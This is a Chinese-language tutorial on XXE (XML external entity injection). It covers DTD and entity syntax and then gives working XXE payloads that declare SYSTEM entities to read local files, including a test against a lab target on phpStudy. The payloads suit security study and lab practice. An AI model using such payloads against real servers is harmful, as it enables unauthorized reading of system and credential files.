XML基础知识
XXE漏洞概念
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
内部DTD
这种是内部的写法
<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->
<!-- DTD文档类型定义 -->
<!DOCTYPE girl[
<!ELEMENT girl (age,address)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
]>
<!-- 父元素 -->
<girl name="xiaohong">
<!-- 子元素 -->
<age>18</age>
<address>"bj</address>
</girl>
外部DTD
.xml文件
<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->
<!-- DTD文档类型定义 -->
<!DOCTYPE girl SYSTEM 'girl.dtd'>
<!-- 父元素 -->
<girl name="xiaohong">
<!-- 子元素 -->
<age>18</age>
<address>"bj</address>
</girl>
girl.dtd(外部DTD)
<!ELEMENT girl (age,address)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
DTD内部实体(自定义字符实体)
<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->
<!-- DTD文档类型定义 -->
<!DOCTYPE girl[
<!ELEMENT girl (age,address)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ENTITY a "今天周三了">
<!ENTITY b "Hello World">
]>
<!-- 父元素 -->
<girl name="xiaohong">
<!-- 子元素 -->
<age>18&b;</age>
<address>"bj&a;</address>
</girl>
DTD外部实体
外部实体引用:XXE跟外部实体引用有关,比如,路径是用户可控
<!ENTITY 实体名 SYSTEM "URL">
<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->
<!-- DTD文档类型定义 -->
<!DOCTYPE girl[
<!ELEMENT girl (age,address)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ENTITY a "今天周三了">
<!ENTITY b "Hello World">
<!ENTITY abc SYSTEM "file:///D:/1.txt">
]>
<!-- 父元素 -->
<girl name="xiaohong">
<!-- 子元素 -->
<age>18&b;22&abc;22</age>
<address>"bj&a;</address>
</girl>
<?xml version='1.0' encoding='UTF-8' ?>
<!DOCTYPE girl[
<!ENTITY abc SYSTEM "file:///D:/1.txt">
]>
<girl>读取内容为:&abc;</girl>
XXE实体注入测试
接下来打开VSC和靶场:
试一下看能读取host文件嘛,丢进浏览器可以直接复制路径,可以读取,那这就是一个XXE漏洞
看一下源码,大概40行这儿
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person[
<!ENTITY c SYSTEM 'file:///C:/phpStudy/WWW/webBase/1.txt'>
]>
<!-- 这是注释 -->
<person name="zhangsan">
&c;
</person>